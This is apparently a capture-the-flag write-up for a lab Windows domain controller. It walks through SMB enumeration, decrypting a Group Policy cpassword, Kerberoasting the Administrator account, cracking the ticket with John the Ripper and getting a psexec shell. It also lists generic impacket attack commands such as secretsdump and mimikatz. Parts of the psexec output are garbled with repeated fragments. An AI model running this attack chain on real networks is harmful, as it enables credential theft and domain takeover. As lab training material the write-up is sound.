

Port Scan

```
└─(kali㉿kali)-[~]
└─$ sudo nmap -sS -A 10.10.10.100

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-07 01:49 EDT

Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.00% done; ETC: 01:49 (0:00:00 remaining)

Nmap scan report for 10.10.10.100 (10.10.10.100)

Host is up (0.37s latency).
Not shown: 983 closed ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-07 05:51:06Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc        Microsoft Windows RPC

Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (97%), Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (96%), Microsoft Windows Server 2008 R2 SP1 (96%),
Microsoft Windows Server 2008 SP1 (96%), Microsoft Windows Server 2008 SP2 (96%), Microsoft Windows 7 (96%), Microsoft Windows 7 SP0 - SP1 or Windows Server 2008 (96%), Microsoft Windows 7
SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1 (96%), Microsoft Windows 7 SP1 (96%), Microsoft Windows 7 Ultimate (96%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 54s
| smb2-security-mode:
|   2.02:
|_   Message signing enabled and required
```

```
| smb2-time:
|   date: 2021-07-07T05:52:14
|_  start_date: 2021-07-07T04:43:54

TRACEROUTE (using port 1025/tcp)
HOP RTT      ADDRESS
1   485.36 ms 10.10.14.1 (10.10.14.1)
2   484.74 ms 10.10.10.100 (10.10.10.100)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.27 seconds
└─(kali@kali)-[~]
└─$
```

SMB Map

```
└─(kali@kali)-[~]
└─$ smbmap -H 10.10.10.100
[+] IP: 10.10.10.100:445      Name: active.htb

      Disk                               Permissions      Comment
      ----                               -
      ADMIN$                           NO ACCESS       Remote Admin
      C$                                NO ACCESS       Default share
      IPC$                               NO ACCESS       Remote IPC
      NETLOGON                           NO ACCESS       Logon server share
      Replication                        READ ONLY
      SYSVOL                             NO ACCESS       Logon server share
      Users                             NO ACCESS
```

- smbclient

```
└─(kali@kali)-[~]
└─$ smbclient //10.10.10.100/Replication -U '%'
Try "help" to get a list of possible commands.
smb: \> dir

.                D              0   Sat Jul 21 06:37:44 2018
..               D              0   Sat Jul 21 06:37:44 2018
active.htb       D              0   Sat Jul 21 06:37:44 2018

10459647 blocks of size 4096. 5727650 blocks available

smb: \>
```

- enumeration
- finally found the Groups.xml

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> dir

.                D                0   Sat Jul 21 06:37:44 2018
..               D                0   Sat Jul 21 06:37:44 2018
Groups.xml       A            533   Wed Jul 18 16:46:06 2018

10459647 blocks of size 4096. 5727634 blocks available

smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\>
```

- Download it

```
└─(kali㉿kali)-[~/Desktop]
└─$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description=""
cpassword="edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NgLVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0"
userName="active.htb\SVC_TGS"/></User>
</Groups>
```

- username : active.htb\SVC_TGS
- cpassword

```
edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NgLVmQ
```

Google Search

search : group policies cpassword decrypt

i found this :

Decryption

- download the script

```
wget https://gist.githubusercontent.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385/raw/7b6f03f770e11fde39997696c4b218f0c6fa515e/GPPDecrypt.py
```

- install pycrypto

```
pip3 install pycrypto
```

```
└─(kali@kali)-[~/Desktop]
└─$ python3 GPPDecrypt.py edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

Credentials

```
SVC_TGS:GPPstillStandingStrong2k18
```

SMB Map again

```
└─(kali@kali)-[~/Desktop]
└─$ smbmap -u SVC_TGS -p GPPstillStandingStrong2k18 -H 10.10.10.100
[+] IP: 10.10.10.100:445      Name: active.htb

  Disk                               Permissions      Comment
  ----                               -
  ADMIN$                             NO ACCESS       Remote Admin
  C$                                  NO ACCESS       Default share
  IPC$                                NO ACCESS       Remote IPC
  NETLOGON                           READ ONLY       Logon server share
  Replication                        READ ONLY
  SYSVOL                             READ ONLY       Logon server share
  Users                              READ ONLY
```

SMB Client

```
smbclient //10.10.10.100/Users -U 'SVC_TGS'%'GPPstillStandingStrong2k18'
```

User Owned

```
└─(kali@kali)-[~/Desktop]
└─$ smbclient //10.10.10.100/Users -U 'SVC_TGS'%'GPPstillStandingStrong2k18'
Try "help" to get a list of possible commands.
smb: \> dir

.                DR              0   Sat Jul 21 10:39:20 2018
..               DR              0   Sat Jul 21 10:39:20 2018
Administrator    D              0   Mon Jul 16 06:14:21 2018
All Users         DHSrn         0   Tue Jul 14 01:06:44 2009
Default           DHR              0   Tue Jul 14 02:38:21 2009
Default User      DHSrn         0   Tue Jul 14 01:06:44 2009
desktop.ini       AHS            174  Tue Jul 14 00:57:55 2009
```

Public	DR	0	Tue Jul 14 00:57:55 2009
SVC_TGS	D	0	Sat Jul 21 11:16:32 2018

WAD COMS

wadcoms is very usefull website to help you go further based on the info we have

I'm hoping to make WADComs a [collaborative project](#), so please feel free to [contribute](#) your commands.

What you have:

Username✓

Password✓

No Creds

Hash

Shell

Services:

SMB

WMI

DCOM

Kerberos✓

RPC

LDAP

NTLM

Attack Type:

Enumeration

Exploitation

Persistence

Privilege Escalation

OS:

Linux

Windows

+Username+Password+Kerberos

- [Wadcoms - github.io](#)
- some choices are below

```
python3 getST.py -spn www/server01.test.local -dc-ip 10.10.10.1 -impersonate Administrator test.local/john:password123
```



Exploitation Persistence Privilege Escalation Username Password Kerberos Linux Windows

```
python3 secretsdump.py test.local/john:password123@10.10.10.1
```



Exploitation Username Password Kerberos Linux Windows

```
python3 mimikatz.py test.local/john:password123@10.10.10.1
```



Exploitation Username Password Kerberos Linux Windows

```
python3 GetUserSPNs.py test.local/john:password123 -dc-ip 10.10.10.1 -request
```



Exploitation Username Password Kerberos Linux Windows

```
python3 GetNPUsers.py test.local/ -dc-ip 10.10.10.1 -usersfile usernames.txt -format hashcat -outputfile hashes.txt
```



Exploitation Username Kerberos Linux Windows

```
python3 GetADUsers.py -all test.local/john:password123 -dc-ip 10.10.10.1
```



Enumeration Username Password Kerberos Linux Windows

i will try

```
python3 GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
```

the link below explains each impacket script

[Secure Auth - impacket](#)

Kerberos

- [GetTGT.py](#): Given a password, hash or aesKey, this script will request a TGT and save it as ccache.
- [GetST.py](#): Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache. If the account has constrained delegation (with protocol transition) privileges you will be able to use the -impersonate switch to request the ticket on behalf another user.
- [GetPac.py](#): This script will get the PAC (Privilege Attribute Certificate) structure of the specified target user just having a normal authenticated user credentials. It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication.
- [GetUserSPNs.py](#): This example will try to find and fetch Service Principal Names that are associated with normal user accounts. Output is compatible with JtR and HashCat.
- [GetNPUsers.py](#): This example will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR.
- [ticketConverter.py](#): This script will convert kirbi files, commonly used by mimikatz, into ccache files used by Impacket, and vice versa.
- [ticketer.py](#): This script will create Golden/Silver tickets from scratch or based on a template (legally requested from the KDC) allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the groups, ExtraSids, duration, etc.
- [raiseChild.py](#): This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids.

Administrator Ticket

```
└─(kali㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─$ python3 GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                     PasswordLastSet      LastLogon              Delegation
-----
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2021-01-21 11:07:03.723783

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$ee3634a0366f0343e9ab7db5ac78a33f$b3e62446389a0ebebfb8626754de5489dac2507d0ba818e3f5952568099cc9afd8fc5bc93d740a6b96f01869a0f36b2
```

Crack using JTR

```
└─(kali㉿kali)-[~/Desktop]
└─$ john admin-ticket.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
```

```
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
lg 0:00:00:13 DONE (2021-07-07 05:44) 0.07639g/s 805001p/s 805001c/s 805001C/s Tiffani1432..Tiago_18
Use the "--show" option to display all of the cracked passwords reliably
```

Administrator Credentials

```
administrator:Ticketmaster1968
```

Rooted

```
python3 psexec.py active.htb/administrator:Ticketmaster1968@10.10.10.100
```

- in action

```
(kali㉿kali)-[/usr/share/doc/python3-impacket/examples]
$ python3 psexec.py active.htb/administrator:Ticketmaster1968@10.10.10.100
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
Press 'q' or Ctrl-C to abort, almost any other key for status
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$ (2021-07-07 05:44) 0.07639g/s 805001p/s 805001c/s 805001C/s Tiffani1432..Tiago_18
[*] Uploading file jPIPDogF.exe by all of the cracked passwords reliably
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service GRvG on 10.10.10.100.....
[*] Starting service GRvG.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>alienum
```